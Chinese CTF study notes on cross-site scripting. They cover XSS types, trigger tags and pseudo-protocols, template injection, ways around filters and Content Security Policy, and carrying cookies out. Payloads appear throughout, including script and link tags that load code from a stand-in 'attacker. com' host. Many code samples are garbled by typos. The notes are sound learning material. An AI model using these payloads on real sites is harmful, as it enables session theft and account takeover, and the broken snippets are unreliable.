从0到1 CTFer成功之路》XSS---学习笔记

XSS

跨站脚本(Cross-Site Scripting,XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种,允许恶意用户将代码注入网页,其他用户在观看网页时会受到影响。

XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,可以在悄无声息的情况下实现模拟用户的操作(包括文件上传等请求)

2.3.1 XSS漏洞类型

反射/存储型XSS

反射型XSS:通常是指恶意代码未被服务器存储,每次触发漏洞的时候都将恶意代码通过GET/POST方式提交,然后触发漏洞。
存储型XSS:意代码被服务器存储,在访问页面时会直接被触发(如留言板留言等场景)
第一种:输入拼接到html中

<IDOCTYPE html>
<html>
<head>
<title>hello</title>
</head>
<body>
<hl>hello<script>alert("hello xss")</script></h1>
</body>
</html>

第二种: 通过标签属性注册on事件

<IDOCTYPE html>
<html>
<head>
<title>hellos/title>
</head>
<body>
<input type="text" name="text233" autofocus οnfοcus="alert(1)
</body>
</html>

第三种情况输入被输出到javaScript变量中,可以构造输入,闭合前面的双引号,同时引入恶意代码

<IDOCTYPE html>
<html>
<head>
	<title>hello world!</title>
</head>
<body>
	<script type="text/javascript">
		var username = "abc"+alert(898);//"; 
		document.write("hello7878-".username);
	</script>
</body>
</html>

2.DOM XSS

简单来讲,DOM XSS是页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致XSS,见图2-3-9。其功能是获取imgurl参数中的图片链接,然后拼接出一个图片标签并显示到网页中,见图2-3-10。

<!DOCTYPE html>
<html>
<head>
	<title>image display</title>
</head>
<body>
	<script type="text/javascript">
	   	function getUrlParam(name)
		{
			var reg = new RegExp("(^|&)" +  name  + "=([^&]*)(&|$)"); 
			var r = window.location.search.substr(1).match(reg); 
			if (r != null)
				return decodeURI(r[2]); 
			return null; 
		}
        var imgurl = getUrlParam("imgurl");
		var imghtml = "<img src = '"+imgurl+"' />";
        document. location. href=imghtml;
 	</script>
 </body>
</html>

其它场景

决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素Content-Type,所以无论上传的文件是以什么样的后缀被保存在服务器上,只要访问上传的文件时返回的Content-type是text/html,就可以成功地被浏览器解析并执行。类似地,Flash文件的application/x-shockwave-flash也可以被执行XSS。

事实上,浏览器会默认把请求响应当作HTML内容解析,如空的和畸形的Content-type,由于浏览器之间存在差异,因此在实际环境中要多测试。比如,GoogleChrome中的空Content-type会被认为是text/html,见图2-3-12,也是可以弹框的,见图2-3-13。
在这里插入图片描述

在这里插入图片描述

2.3.2 XSS的tricks

1.可以用来执行XSS的标签

基本上所有的标签都可以使用on事件来触发恶意代码,比如:
<hl onmousemove="alert('moved! ')">this is a titles/hl>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SYPulAu1-1637715211633)(/uploads/l1215484545/images/m_5743d5fca60877fa7d114dd1f6cb079b_r.png)]
<img src=x onerror="alert('error')" />

<script src="http://attacker. com/a. js"></script>
<script>alert(1)</script>
<link rel="import"href="http://attacker. com/1. html">
<iframe src="javascript: alert(1)"></iframe>
ca href="javascript: alert(1)">clicks/a>
<svg/onLoad-alert(1)>

2.HTML5特性的XSS

HTML5的某些特性可以参考网站http://html5sec.org/。 很多标签的on时间触发是需要交互的,如鼠标滑过点击,代码如下:
<input onfocus=write(1) autofocus>

3.伪协议与XSS

通常,我们在浏览器中使用HTTP/HTTPS协议来访问网站,但是在一个页面中,鼠标悬停在一个超链接上时,我们总会看到这样的链接:javascript:void(0)。这其实是用JavaScript伪协议实现的。如果手动单击,或者页面中的JavaScript执行跳转到JavaScript伪协议时,浏览器并不会带领我们去访问这个地址,而是把“javascript:”后的那一段内容当作JavaScript代码,直接在当前页面执行。所以,对于这样的标签:

<a href="javascript:alert(1)">click</a>

单击这个标签时并不会跳转到其他网页,而是直接在当前页面执行alert(1),除了直接用a标签单击触发,JavaScript协议触发的方式还有很多。

比如,利用JavaScript进行页面跳转时,跳转的协议使用JavaScript伪协议也能进行触发,代码如下:

<script type="text/javascript">
location. href="javascript : alert(document. domain)";
</script>
<!DOCTYPE html>
<html>
<head>
				<title> logout</title>
</head>
<body>
		<script type="text/javascript">
	   		  function getUrlParam(name)
			   {
		  			  var reg = new RegExp("(^|&)" +  name  + "=([^|&]*)(&|$)"); 
					  var r = window. location. search. substr(1). match(reg); 
					  if (r != null)
		       				  return decodeURI(r[2]); 
        			  return null; 
  		      }
    		 var jumpurl = getUrlParam("jumpurl");
    		 document. location. href=jumpurl;
 	 </script>
 </body>
</html>

即跳转的地址是我们可控的,我们就能控制跳转的地址到JavaScript伪协议,从而实现XSS攻击,见图2-3-16。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MuLwCPNj-1637715211634)(/uploads/l1215484545/images/m_c20114ff42b30a178e89969ead3856c1_r.png)]

另外,iframe标签和form标签也支持JavaScript伪协议,感兴趣的读者可以自行尝试如下。不同的是,iframe标签不需交互即可触发,而form标签需要在提交表单时才会触发。

<iframe src="javascript:alert(1)"></iframe>
<form action="javascript : alert(1)"></form>

除了JavaScript伪协议,还有其他伪协议可以在iframe标签中实现类似的效果。比如,data伪协议:

4.二次渲染导致的XSS

后端语言如flask的jinja2使用不当时,可能存在模板注入,在前端也可能因为这样的原因形成XSS。例如,在AngularJS中:

<? php
$template = "Hello {(name})".s-GET['t']
?2
<! DOCTYPE htmL>
shtml>
shead
<meta charset="utf-8">
<script src="https://cdn. staticfile. orq/anqular. is/1.4.6/anqular. min. js">s/script>
</head>
sbody>
<div ng-app="">
<p>名字:<input type="text"ng-model="name"></p>
<hlx<?=$template?></hl>
</div>
</body></html>

上面的代码会将参数t直接输出到AngularJS的模板中,在我们访问页面时,JavaScript会解析模板中的代码,可以得到一个前端的模板注入。AngularJS引擎解析了表达式“3*3”并打印了结果,见图2-3-17。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fWtveASY-1637715211635)(/uploads/l1215484545/images/m_d7b03861f41325e461749796083752bb_r.png)]

参考链接:
https://portswigger.net/blog/XSS-without-html-client-side-template-injection-with-angularjs

2.3.3 XSS过滤和绕过

过滤的两个层为WAF层、代码层。WAF(Web ApplicationFirewall,Web应用防火墙)层通常在代码外,主机层对HTTP应用请求一个过滤拦截器。代码层则在代码中直接实现对用户输入的过滤或者引用第三方代码对用户输入进行过滤。JavaScript非常灵活,所以对于普通的正则匹配,字符串对比很难拦截XSS漏洞。过滤的时候一般会面临多种场景。

1.富文本过滤

对于发送邮件和写博客的场景,标签是必不可少的,如嵌入超链接、图片需要HTML标签,如果对标签进行黑名单过滤,必然出现遗漏的情况,那么我们可以通过寻找没有被过滤的标签进行绕过。我们也可以尝试fuzz过滤有没有缺陷,如在直接把script替换为空的过滤方式中,可以采用双写形式;或者在没有考虑大小写时,可以通过大小写的变换绕过script标签,见图2-3-19。

<?php 
	function filter($payload)
	{
		$data = str_replace("script", "", $payload); 
		return $data;
	}
	$name = filter($_GET["name"]); 
	echo "hello $name";
?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pK5iaY58-1637715211637)(/uploads/l1215484545/images/m_f723e7fe2400496e81441aa3ccbc5597_r.png)]
图2-3-19 错误的过滤方式甚至可以帮助我们绕过浏览器的XSS过滤器。

2.输出在标签属性中

如果没有过滤“<”或“>”,我们可以直接引入新的标签,否则可以引入标签的事件,如onload、onmousemove等。当语句被输出到标签事件的位置时,我们可以通过对payload进行HTML编码来绕过检测,见图2-3-20。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4bLbdwPx-1637715211638)(/uploads/l1215484545/images/m_5b5d3880c06e1e20e43c6565084f6d0b_r.png)]
利用burpsuite对payload进行实体编码:

<img src=x onerror="&#x61; &#x6c; &#x65;&#x72; &#x74; &#x28;&#x31; &#x29;" />

打开浏览器即可触发,见图2-3-21。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HqyExlJh-1637715211639)(/uploads/l1215484545/images/m_ed70ff4b19fd2cff64c2be109f3909eb_r.png)]

这里能触发与浏览器渲染页面的顺序有关。我们的payload在标签属性中,触发事件前,浏览器已经对payload进行了一次解码,即从实体编码转换成了常规数据。
如果对JavaScript的函数进行过滤,如过滤了“eval(”这样的字符组合,那么可以通过下面的方式进行绕过:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LWVVgtM4-1637715211640)(/uploads/l1215484545/images/m_817eb1f97042a9b46897c4cfcad2fbab_r.png)]
正因为JavaScript非常灵活,所以通过黑名单的方式对XSS攻击进行过滤是很困难的。

3.输出在JavaScript变量中

通过闭合JavaScript语句,会使得我们的攻击语句逃逸,这时有经验的开发可能会对引号进行编码或者转义,进而防御XSS,但是配合一些特殊的场景依然可能形成XSS。例如,对于如下双输入的注入:
SELECT*FROM users WHERE name ='输入1'and pass =' 输入2'

如果只过滤单引号而没考虑“\”,那么我们可以转义语句中的第二个单引号,使得第一个单引号和第三个单引号闭合,从而让攻击语句逃逸:
SELECT *FROM users WHERE name =\' and pass = 'union select xxxxx#'
在XSS中也有类似的场景。例如,如下代码:

<? php
$name =$_GET[' name'];
$name = htmlentities($name, ENT-QUOTES); saddress =$-GET[' addr'];
$address = htmlentities($address, ENT_QUOTES);
?>
<! DOCTYPE html>
<html>chead>
<meta charset="gb18030">
<titlex</title>
</head>
<body>
<script type="text/javascript">
var url = 'http://null.com/? name=<?=$name?>'+'<?=$address?>';
</script>
</body>
</html>

输入点和输出点都有两个,如果输入引号,会被编码成HTML实体字符,但是htmlentities函数并不会过滤“\”,所以我们可以通过“\”使得攻击语句逃逸,见图2-3-22。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E6acmPcT-1637715211640)(/uploads/l1215484545/images/m_a14052fa86f879334cc5b88c17eed982_r.png)]

在name处末尾输入“\”,在addr参数处闭合前面的JavaScript语句,同时插入恶意代码。进一步可以用eval(window.name)引入恶意代码或者使用JavaScript中的String.fromCharCode来避免使用引号等被过滤的字符。再介绍几个小技巧,见图2-3-23,将payload藏在location.hash中,则URL中“#”后的字符不会被发到服务器,所以不存在被服务器过滤的情况,见图2-3-24。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-voePc0Ms-1637715211641)(/uploads/l1215484545/images/m_b3e67223b091cb3a357dd014d0a53846_r.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MXMJOtSG-1637715211641)(/uploads/l1215484545/images/m_8b6a69cdb1301b4e42edb1ec77f51648_r.png)]

在JavaScript中,反引号可以直接当作字符串的边界符。

4.CSP过滤及其绕过

我们引用https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP的内容来介绍CSP。CSP(Content Security Policy,内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。CSP被设计成完全向后兼容。不支持CSP的浏览器也能与实现了CSP的服务器正常合作,反之亦然:不支持CSP的浏览器只会忽略它,正常运行,默认网页内容使用标准的同源策略。如果网站不提供CSP头部,那么浏览器也使用标准的同源策略。为了使CSP可用,我们需要配置网络服务器返回Content-Security-Policy HTTP头部(有时有X-Content-Security-Policy头部的提法,那是旧版本,不需如此指定它)。除此之外,元素也可以被用来配置该策略。从前面的一些过滤绕过也可以看出,XSS的防御绝非易事,CSP应运而生。CSP策略可以看作为了防御XSS,额外添加的一些浏览器渲染页面、执行JavaScript的规则。这个规则是在浏览器层执行的,只需配置服务器返回Content-Security-Policy头。例如:

<?php 
	header(' Content-Security-Policy: script-src *. baidu. com');
?>

这段代码会规定,这个页面引用的JavaScript文件只允许来自百度的子域,其他任何方式的JavaScript执行都会被拦截,包括页面中本身的script标签内的代码。如果引用了不可信域的JavaScript文件,则在浏览器的控制台界面(按F12,打开console)会报错,见图2-3-25。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f6npjZHf-1637715211642)(/uploads/l1215484545/images/m_aff48fef3d91833c7be4721ddb84861b_r.png)]

CSP规则见表2-3-1。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v5SGfyzs-1637715211642)(/uploads/l1215484545/images/m_54c28f7131280bea47c61822fa04cee3_r.png)]
表中的每个规则都对应了浏览器中的某部分请求,如default-src指令定义了那些没有被更精确指令指定的安全策略,可以理解为页面中所有请求的一个默认策略;script-src可以指定允许加载的JavaScript资源文件的源。其余规则的含义读者可以自行学习,不再赘述。在CSP规则的设置中,“”可以作为通配符。例如,“.baidu.com”指的是允许加载百度所有子域名的JavaScript资源文件;还支持指定具体协议和路径,如“Content-Security-Policy:script-src http://*.baidu.com/js/”指定了具体的协议以及路径。除此之外,script-src还支持指定关键词,常见的关键词如下。
❖ none:禁止加载所有资源。
❖ self:允许加载同源的资源文件。
❖ unsafe-inline:允许在页面内直接执行嵌入的JavaScript代码。
❖ unsafe-eval:允许使用eval()等通过字符串创建代码的方法。所有关键词都需要用单引号包裹。如果在某条CSP规则中有多个值,则用空格隔开;如果有多条指令,则用“;”隔开。比如:

Content-Security-Policy: default-src ' self'; script-src ' self' *. baidu. com

5.常见的场景及其绕过

CSP规则众多,所以这里只简单举例,其他相关规则及绕过方式读者可以自行查阅相关资料。例如,对于“script-src’self’”,self对应的CSP规则允许加载本地的文件,我们可以通过这个站点上可控的链接写入恶意内容,如文件上传、JSONP接口。例如:

<?php header("Content-Security-Policy: script-sre 'self'");
    $jsurl =$_GET['url'];
    $jsurl = addslashes($jsurl);
?>
<! DOCTYPE html>
<html><head>
    <title>bypass csps/title>
</head>
<body>
sscript type="text/javascript" src="<?=$jsurl?>"></script>
</body></html>

注意,如果是图片上传接口,即访问上传资源时返回的Content-Type是image/png之类的,则会被浏览器拒绝执行。假设上传了一个a.xxxxx文件,通过URL的GET参数,把这个文件引入script标签的src属性,此时返回的Content-type为text/plain,解析结果见图2-3-26。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DkvgMwnz-1637715211643)(/uploads/l1215484545/images/m_45979f08d67da7cb6471c3fab34b52e8_r.png)]

除此之外,我们可以利用JSONP命令进行绕过。假设存在JSONP接口(见图2-3-27),我们可以通过JSONP接口引入符合JavaScript语法的代码,见图2-3-28。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1zR0bz3q-1637715211643)(/uploads/l1215484545/images/m_c693263671642847a1f56974b7bf7d59_r.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y1uZU9aC-1637715211644)(/uploads/l1215484545/images/m_cc37f748281a8cb3c1ea76f8e064e9f8_r.png)]

若该JSONP接口处于白名单域下,可以通过更改callback参数向页面中注入恶意代码,在触发点页面引入构造好的链接,见图2-3-29。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0iaNEDDM-1637715211644)(/uploads/l1215484545/images/m_fe47d26e5272f998e053127c787f96a8_r.png)]

另一些常见的绕过方法如下:

<link rel="prefetch"href="http://baidu.com"> H5预加载,仅Google Chrome支持slink <rel="dns-prefetch"href="http://baidu.com"> DNS预加载

当传出数据受限时,则可以利用JavaScript动态生成link标签,将数据传输到我们的服务器,如通过GET参数带出cookie

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MFfTafjL-1637715211645)(/uploads/l1215484545/images/m_92f74d58981079beae5b8a598d6e2642_r.png)]

还有就是利用页面跳转,包括a标签的跳转、location变量赋值的跳转,meta标签的跳转等手法。比如,通过跳转实现带出数据:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EQk4HxUH-1637715211645)(/uploads/l1215484545/images/m_03e2d743e170b89404561b4a05cccaa2_r.png)]

其它参考DVWA转载:
https://www.cnblogs.com/yuzly/p/10692449.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值